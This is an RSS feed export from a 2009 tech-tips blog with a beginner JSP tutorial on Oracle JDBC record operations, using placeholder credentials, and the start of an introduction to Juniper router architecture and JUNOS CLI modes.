<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; coding tips</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/coding-tips/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Jsp &#8211; Oracle Connectivity</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/jsp-oracle-connectivity/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/jsp-oracle-connectivity/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:29:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Jsp - Oracle Connectivity]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=135</guid>
		<description><![CDATA[Introduction
This document deals with the JSP connectivity with Oracle.This also exemplifies adding,updating, deleting and retrieving records from database(Oracle) through JSP.
Prerequisites

Tomcat Server.
Oracle Client.
Oracle Server.

Target Readers : All
Getting Started
Copy a jar file class12.jar from Oralce_root-&#62;jdbc-&#62;lib-&#62;class12.jar
to Tomcat Server in Tomcat_root-&#62;common-&#62;lib.
Database Connectivity



&#60;%
try{
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();
//Creating the connection object
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);
con.close();
}
catch (SQLException sqle){
throw new SQLException();
}
%&#62;



Note:
172.24.205.62 -&#62; IP Address of Oracle [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</p>
<p></strong>This document deals with the JSP connectivity with Oracle.This also exemplifies adding,updating, deleting and retrieving records from database(Oracle) through JSP.</p>
<p><strong>Prerequisites</strong></p>
<ul>
<li>Tomcat Server.</li>
<li>Oracle Client.</li>
<li>Oracle Server.</li>
</ul>
<p><strong>Target Readers :</strong> All</p>
<p><strong>Getting Started</strong></p>
<p>Copy a jar file <span style="color: #0000ff;">class12.jar</span> from Oralce_root-&gt;jdbc-&gt;lib-&gt;class12.jar<br />
to Tomcat Server in Tomcat_root-&gt;common-&gt;lib.</p>
<p><strong>Database Connectivity</strong></p>
<table border="1">
<tbody>
<tr>
<td bgcolor="#00ffff">&lt;%<br />
try{<br />
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();</p>
<p>//Creating the connection object<br />
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);</p>
<p>con.close();<br />
}<br />
catch (SQLException sqle){<br />
throw new SQLException();<br />
}<br />
%&gt;</td>
</tr>
</tbody>
</table>
<p><em>Note:</em></p>
<p>172.24.205.62 -&gt; IP Address of Oracle Server.<br />
1521 -&gt; Port Number.<br />
infosys -&gt; Host String.<br />
Uname -&gt; UserName.<br />
Pwd -&gt; Password.</p>
<p><strong>Adding a Record</strong></p>
<table border="1">
<tbody>
<tr>
<td bgcolor="#00ffff">&lt;%<br />
try{<br />
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();</p>
<p>//Creating the connection object<br />
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);</p>
<p>PreparedStatement stmt = con.prepareStatement(&#8221;insert into Table_Name values(?,?,?)&#8221;);<br />
stmt.setString(1,column1);<br />
stmt.setInt(2,column2);<br />
stmt.setString(3,column3);</p>
<p>stmt.executeUpdate();</p>
<p>con.close();<br />
}<br />
catch (SQLException sqle){<br />
throw new SQLException();<br />
}<br />
%&gt;</td>
</tr>
</tbody>
</table>
<p>Where column1,column2,column3 can be static values or can be taken from the previous page by establishing session.</p>
<p><strong>Deleting a Record</strong></p>
<table border="1">
<tbody>
<tr>
<td bgcolor="#00ffff">&lt;%<br />
try{<br />
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();</p>
<p>//Creating the connection object<br />
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);</p>
<p>PreparedStatement stmt = con.prepareStatement(&#8221;delete from Table_Name where EmpName=&#8217;XYZ&#8217;&#8221;);<br />
stmt.executeUpdate();</p>
<p>con.close();<br />
}<br />
catch (SQLException sqle){<br />
throw new SQLException();<br />
}<br />
%&gt;</td>
</tr>
</tbody>
</table>
<p><strong>Updating a Record</strong></p>
<table border="1">
<tbody>
<tr>
<td bgcolor="#00ffff">&lt;%<br />
try{<br />
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();</p>
<p>//Creating the connection object<br />
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);</p>
<p>PreparedStatement stmt = con.prepareStatement(&#8221;update Table_Name set Designation=&#8217;Software Engineer&#8217; where EmpName=&#8217;XYZ&#8217;&#8221;);<br />
stmt.executeUpdate();</p>
<p>con.close();<br />
}<br />
catch (SQLException sqle){<br />
throw new SQLException();<br />
}<br />
%&gt;</td>
</tr>
</tbody>
</table>
<p><strong>Retrieving a Record</strong></p>
<table border="1">
<tbody>
<tr>
<td bgcolor="#00ffff">&lt;%<br />
String empName=&#8221;";<br />
int empNumber=0;<br />
String empDesignation=&#8221;";</p>
<p>try{<br />
Class.forName(&#8221;oracle.jdbc.driver.OracleDriver&#8221;).newInstance();</p>
<p>//Creating the connection object<br />
Connection con = DriverManager.getConnection(&#8221;jdbc:oracle:thin:&#8221; + &#8220;@172.24.205.62:1521:infosys&#8221;,&#8221;Uname&#8221;,&#8221;Pwd&#8221;);</p>
<p>PreparedStatement stmt = con.prepareStatement(&#8221;select * from Table_Name&#8221;);<br />
ResultSet rs = stmt.executeQuery();</p>
<p>while(rs.next())<br />
{<br />
empName = rs.getString(&#8221;EMPNAME&#8221;);<br />
empNumber = rs.getInt(&#8221;EMPNO&#8221;);<br />
empDesignation = rs.getString(&#8221;DESIGNATION&#8221;);</p>
<p>out.println(empName);<br />
out.println(empNumber);<br />
out.println(empDesignation);<br />
}</p>
<p>con.close();<br />
}<br />
catch (SQLException sqle){<br />
throw new SQLException();<br />
}<br />
%&gt;</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/jsp-oracle-connectivity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intro to Juniper Routers</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/intro-to-juniper-routers/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/intro-to-juniper-routers/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:24:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Intro to Juniper Routers]]></category>
		<category><![CDATA[juniper]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[routers]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=130</guid>
		<description><![CDATA[1.   INTRODUCTION TO JUNIPER 
    ROUTERS
 
Juniper Networks Router Design
 
The central design principle of the Juniper Networks platform centers on a separation of the control and forwarding planes within the router. The Routing Engine and the Packet Forwarding Engine, respectively, represent these planes. 
 

 
 
Routing Engine Overview
 
The Routing Engine in a Juniper Networks router is the central [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoListParagraph" style="margin: 5pt 0in 5pt 0.75in; text-indent: -0.25in; mso-list: l4 level1 lfo24; mso-layout-grid-align: none; mso-outline-level: 1; mso-add-space: auto;"><a name="_Toc222215503"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">1.</span><span style="font: 7pt &quot;Times New Roman&quot;;">   </span></span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">INTRODUCTION TO JUNIPER</span></span></strong></a><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.75in; mso-layout-grid-align: none; mso-outline-level: 1;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;"><span style="font-size: small;">   </span></span><a name="_Toc222215504"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>ROUTERS</span></a></span></strong></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Juniper Networks Router Design</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The central design principle of the Juniper Networks platform centers on a separation of the control and forwarding planes within the router. The Routing Engine and the Packet Forwarding Engine, respectively, represent these planes. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Routing Engine Overview</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: center;" align="center"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <em>Routing Engine </em>in a Juniper Networks router is the central location for control of the system responsible for:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l7 level1 lfo4; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Storing the JUNOS software &amp; Performing software upgrades </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l5 level1 lfo6; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Monitoring and configuring the router.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l6 level1 lfo8; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Troubleshooting tools like Telnet, ping, or traceroute</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l9 level1 lfo10; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Operating all routing protocols and making all <em>routing table </em>decisions, building a master routing table with the best path to each destination selected. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l10 level1 lfo12; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Placing the best paths into the <em>forwarding table </em>on the Routing Engine and copying that same data into the forwarding table on the Packet Forwarding Engine. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Packet Forwarding Engine Overview</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <em>Packet Forwarding Engine </em>is the central location </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify; tab-stops: 4.25in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">responsible for:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l11 level1 lfo14; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Data packet forwarding through the router. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l2 level1 lfo16; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Controlling the router’s throughput speed and capacity by the specially designed hardware.<strong></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-indent: -0.25in; text-align: justify; mso-list: l1 level1 lfo18; tab-stops: list 1.0in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">•</span><span style="font: 7pt &quot;Times New Roman&quot;;">     </span></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Forwarding of data packets across any interface in the router.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The main portions of the Packet Forwarding Engine are the Physical Interface Card (PIC), the Flexible PIC Concentrator (FPIC), and a switching control board. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Physical Interface Card</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The physical media in your network connects to the</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Physical Interface Card (PIC) </span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">in the router. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Up to four individual PICs are contained on an FPC. A media-specific ASIC is located on each PIC. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Flexible PIC Concentrator</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <em>Flexible PIC Concentrator (FPC) </em>connects to both the switching control board and the router’s interfaces within the Packet Forwarding Engine.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Command-Line Interface</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The JUNOS software CLI contains two main modes: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">1. Operational and </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">2. Configuration. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Operational Mode</span></strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Operational mode displays the current router status, and used for verifying and troubleshooting the router. We enter <em>operational mode </em>on the router after a successful login attempt.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt;</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The default prompt for the JUNOS software is a combination of our username and the router hostname.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">In addition, the &gt; character tells that we are in operational mode.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">As with most router operating systems, the JUNOS software uses a command hierarchy paradigm within operational mode. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration Mode</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Configuration mode provides with a method for altering the current environment. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We access the router’s <em>configuration mode </em>hierarchy with either the configure or edit command: </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Juniper&gt; edit or configure</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Entering configuration mode</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
